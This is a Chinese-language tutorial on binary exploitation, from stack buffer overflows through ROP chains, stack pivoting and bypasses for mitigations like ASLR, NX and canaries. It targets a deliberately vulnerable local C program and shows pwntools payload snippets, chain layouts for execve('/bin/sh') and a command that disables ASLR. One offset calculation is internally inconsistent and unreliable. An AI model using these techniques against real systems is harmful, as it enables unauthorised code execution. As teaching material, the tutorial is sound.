二进制漏洞利用:缓冲区溢出到 ROP 链

FreeGuideOnline 最新 2026-06-19

认识二进制漏洞利用

二进制漏洞利用(Binary Exploitation)是指通过分析并利用程序中的安全缺陷,在执行二进制代码时改变其原有行为,最终实现任意代码执行或信息泄露的技术。对于初学者而言,从缓冲区溢出到返回导向编程(ROP)是最典型的进阶路径。本文将带你从栈溢出基础出发,逐步构建可用的 ROP 链,掌握控制流劫持的核心思路。

你需要准备什么

  • 一台 Linux 虚拟机(推荐 Ubuntu 20.04/22.04)
  • 安装 gccgdbpwntoolschecksec 等工具
  • 了解 C 语言基础以及函数的调用约定
  • 关闭地址空间布局随机化(ASLR)以简化初期实验:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

安全提醒:本文所述技术仅供学习与授权测试使用,非法利用将承担法律责任。


栈溢出原理与 EIP/RIP 劫持

栈帧结构回顾

当一个函数被调用时,CPU 会在栈上为其分配一个栈帧,用于存储返回地址、局部变量和寄存器备份。以 x86 架构为例,典型布局如下:

高地址  +-----------------+
       | 函数参数 (n..1)  |
       +-----------------+
       | 返回地址         |  <- 函数执行结束后要跳转的地址
       +-----------------+
       | 旧的 EBP 值      |  <- 当前函数的 EBP 指向这里
       +-----------------+
       | 局部变量         |
低地址  +-----------------+

当局部变量使用的缓冲区发生溢出时,多余的数据会向高地址方向覆盖保存的 EBP 值,接着覆盖返回地址。只要我们能精确控制返回地址,就能劫持程序的执行流。

一个脆弱的程序

// vuln.c
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buffer[64];
    strcpy(buffer, input);   // 无边界检查
}

int main(int argc, char **argv) {
    if (argc < 2) return 1;
    vulnerable(argv[1]);
    printf("程序正常结束\n");
    return 0;
}

编译(关闭栈保护、允许栈执行、关闭 PIE):

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
  • -m32:生成 32 位程序(便于讲解传统 ROP)
  • -z execstack:允许在栈上执行代码(本实验暂不需要,但用于对比)
  • -fno-stack-protector:禁用栈金丝雀(canary)
  • -no-pie:禁用位置无关可执行文件,使地址固定

计算偏移量并控制 EIP

首先需要知道缓冲区距离返回地址的偏移。可以使用调试器或 pwntools 的 cyclic 工具生成模式字符串:

python3 -c "from pwn import *; print(cyclic(200, n=4))" > pattern.txt

在 GDB 中运行程序并输入该模式:

gdb ./vuln
(gdb) run $(cat pattern.txt)

程序崩溃后查看 EIP 的值,然后计算偏移:

python3 -c "from pwn import *; print(cyclic_find(0x6161616c, n=4))"
# 假设得到 76

结果通常是 64 (buffer) + 4 (saved EBP) + 4 (返回地址) = 72 字节,但实际偏移可能因编译器对齐而略有差异。确认后,我们就可以构造 payload:

payload = b'A' * offset + p32(0xdeadbeef)

如果程序崩溃时 EIP 变为 0xdeadbeef,说明劫持成功。


当 NX 开启:返回导向编程(ROP)

现代操作系统通常启用 NX(No-Execute)位,使栈不可执行。就算你将 shellcode 放在栈上,也无法直接跳转执行。此时需要借助 ROP:利用程序中已有的、以 ret 结尾的指令片段(gadget),将这些片段串联起来完成恶意功能。

ROP 的核心思想

每个 gadget 执行后都会执行 ret,而 ret 会从栈顶弹出下一个地址并跳转。因此,ROP 链就是由这些 gadget 地址和它们所需的参数(按调用约定放置在栈上)组成的序列。通过不断地 “跳转-执行-ret-跳转”,我们可以在不执行任何新代码的情况下调用系统函数(如 execve("/bin/sh", NULL, NULL))。

寻找 gadget

使用 ROPgadget 或 pwntools 从二进制或 libc 中提取 gadget:

ROPgadget --binary vuln
# 或者
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6

重要的 gadget 类型:

  • pop eax; retpop ebx; ret 等,用于设置寄存器
  • mov [reg], reg; ret 用于写内存
  • int 0x80; retsyscall; ret 触发系统调用
  • xchg eax, esp; ret 可实现栈迁移

构造 execve("/bin/sh") 的 ROP 链(x86)

在 32 位 Linux 下,execve 系统调用号为 11(0x0b),参数分别是:

  • ebx 指向 "/bin/sh" 字符串的地址
  • ecx 指向 argv 数组(可为 NULL)
  • edx 指向 envp 数组(可为 NULL)

所以我们需要的 gadget 至少包括:

  • 控制 eaxebxecxedx 的 pop 指令
  • 执行 int 0x80 的 gadget
  • 一段可写内存存放 "/bin/sh" 字符串,或者直接利用 libc 中已有的字符串

场景:假设程序中没有现成的 "/bin/sh",但我们可以调用 read() 将字符串读入已知地址的 .bss 段。

步骤分解:

  1. 调用 read(0, bss_addr, 8) 将 "/bin/sh\x00" 写入 bss 段
  2. ebx 设为 bss_addr,ecxedx 设为 0,eax 设为 0xb
  3. 执行 int 0x80

实际 payload 布局(以下地址为示例,具体需要根据实际二进制调整):

+--------------------+
| 填充偏移量          |
+--------------------+
| read@plt           |  <- 调用 read 函数
+--------------------+
| pop3_ret 地址      |  <- read 返回后执行,用于清理栈上三个参数
+--------------------+
| 0                  |  fd = stdin
+--------------------+
| bss_addr           |  buf 地址
+--------------------+
| 8                  |  count
+--------------------+
| pop_eax_ret        |  设置 eax = 0xb
+--------------------+
| 0xb                |
+--------------------+
| pop_ebx_ret        |  设置 ebx = bss_addr
+--------------------+
| bss_addr           |
+--------------------+
| pop_ecx_ret        |  设置 ecx = 0 (或者 pop_ecx_pop_xxx 组合)
+--------------------+
| 0                  |
+--------------------+
| pop_edx_ret        |  设置 edx = 0
+--------------------+
| 0                  |
+--------------------+
| int_0x80 地址      |  执行系统调用
+--------------------+

使用 pwntools 自动化构造

Pwntools 提供了强大的 ROP 链构建功能,特别适合初学者快速生成并理解链的结构:

from pwn import *

context.binary = './vuln'
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')  # 如果知道 libc 版本
rop = ROP(elf)

# 假设我们泄漏了 libc 基址,并且有 system 和 "/bin/sh"
libc.address = leaked_base
rop.call(libc.symbols['system'], [next(libc.search(b'/bin/sh'))])
print(rop.dump())

但为了深入理解,手动构造一次是十分必要的。


栈迁移:当溢出空间不足时

如果缓冲区太小,无法放下完整 ROP 链,可以使用栈迁移技术。原理是利用这样一个 gadget:

leave ; ret

leave 等价于 mov esp, ebp; pop ebp,它会将栈指针切换到我们控制的 ebp 指向的区域(比如 .bss 或堆)。随后 ret 会从新的栈顶上取地址执行。通过两次溢出配合,或者先向新位置写入链,再将 ebp 修改为新位置地址,即可完成迁移。

典型步骤:

  1. 利用第一次溢出将 ROP 链写入可控内存区域(如通过 read 函数读入 .bss)
  2. 溢出修改保存的 ebp 为该可控区域的地址-4(因为 leave 会先 mov esp, ebp 然后 pop ebppop 会使得 esp+4,所以需偏移调整)
  3. 返回地址指向 leave; ret

这样在执行完当前函数的 leave; ret 后,EIP 就跳转到了我们预先写好的链上。栈迁移在 64 位程序中尤为常见,因为 64 位前 6 个参数通过寄存器传递,栈迁移可同时控制寄存器与栈布局。


64 位下的 ROP 差异

x86-64 有更多的寄存器,系统调用使用 syscall 指令,调用约定也不同。execve 的系统调用号为 59(0x3b),参数通过 rdirsirdx 传递。因此我们需要寻找类似 pop rdi; retpop rsi; retpop rdx; ret 的 gadget。

构造 execve("/bin/sh", NULL, NULL) 的典型 64 位 ROP 链如下:

+------------------+
| 填充偏移量        |
+------------------+
| pop_rdi_ret       |
+------------------+
| 指向"/bin/sh"的地址 |
+------------------+
| pop_rsi_ret       |
+------------------+
| 0                 |
+------------------+
| pop_rdx_ret       |
+------------------+
| 0                 |
+------------------+
| pop_rax_ret       |
+------------------+
| 0x3b              |
+------------------+
| syscall_ret       |
+------------------+

如果找不到 pop rdx 的 gadget,可以使用其他变通方式,比如通过 mov 指令归零 rdx,或者利用某些库函数(如 mprotect 后执行 shellcode)绕过。


缓解措施与绕过思路一览

理解防御机制才能更好地学习漏洞利用,以下为常见保护及基本绕过手段:

  • Stack Canaries:栈金丝雀会在返回前检查值是否被篡改。绕过方法:泄漏 canary(如通过格式化字符串),或使用非顺序覆盖(如仅覆盖函数指针而非返回地址)。
  • NX/DEP:不可执行栈/堆。绕过:ROP、JIT 喷射(浏览器环境)、返回到 libc(ret2libc)。
  • ASLR:地址随机化。绕过:信息泄漏获取基址(如泄漏 libc 函数地址),或利用相对偏移固定的对象(如可执行程序未开启 PIE 时)。
  • PIE:可执行文件随机化。可结合其他漏洞泄漏程序基址,或使用部分覆盖(partial overwrite)。
  • RELRO:GOT 表写保护。全 RELRO 下无法覆写 GOT,但可通过泄漏并调用 libc 中的函数劫持流。

循序渐进:先关闭所有防护进行实验,成功后再逐个开启,并尝试寻找对应的绕过方法。


调试利器:GDB 插件与核心命令

掌握调试技巧是二进制漏洞利用的核心能力之一。推荐使用 pwndbggef 增强 GDB 功能。常用命令:

# 查看当前栈内容
stack 30

# 显示寄存器
context registers

# 在 ret 指令处下断点观察栈顶地址
break *0x080484xx

# 搜索内存中的字符串或 gadget
search "/bin/sh"

# 查看内存映射
vmmap

# 计算地址到某符号的偏移
print system - libc_base

结合 pattern_offset 快速定位崩溃时的偏移量,以及使用 telescope 查看栈上指针链,都是很高效的技巧。


综合实验:从溢出到 getshell

目标

在不开启 ASLR、无 canary、NX 开启、无 PIE 的 32 位程序上,通过栈溢出构造 ROP 链执行 execve("/bin/sh")

步骤

  1. 关闭 ASLR:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
  2. 编译脆弱程序(如上文 vuln.c,但使用 -z relro -z now?暂时不用,仅用 -fno-stack-protector -no-pie,不必加 -z execstack,因为我们要用 ROP)
  3. 使用 objdump -dROPgadget 确认 gadget 地址,找到 pop eax; retpop ebx; ret
  4. 确认可写地址(如 .bss):readelf -S vuln | grep .bss
  5. 编写 exploit 脚本,借助 pwntools 发送 payload
  6. 获取 shell 后验证权限

简化版:如果程序内本身有 system@plt 且某处存在 "/bin/sh" 字符串,可以直接使用 ret2libc 调用 system("/bin/sh"),此时只需 payload = flat(offset, system_plt, 0, bin_sh_addr)(注意 0 是返回地址占位)。


持续精进的方向

  • 学习格式化字符串漏洞,用于泄漏内存信息
  • 研究堆利用(Heap Exploitation),如 fastbin attack、tcache poisoning
  • 掌握 ret2dlresolve 技巧,绕过未知 libc 版本
  • 尝试在开启全部保护(Full Relro、PIE、NX、ASLR)的真实世界 CTF 题目中完成利用
  • 阅读经典资料:《Hacking: The Art of Exploitation》、CTF 赛题 writeup、pwntools 官方文档

二进制漏洞利用是一门需要在实践中不断试错与积累的手艺,保持好奇心并动手调试,远比阅读理论有效得多。在不断突破防御机制的同时,也请恪守白帽子准则,共同维护网络安全。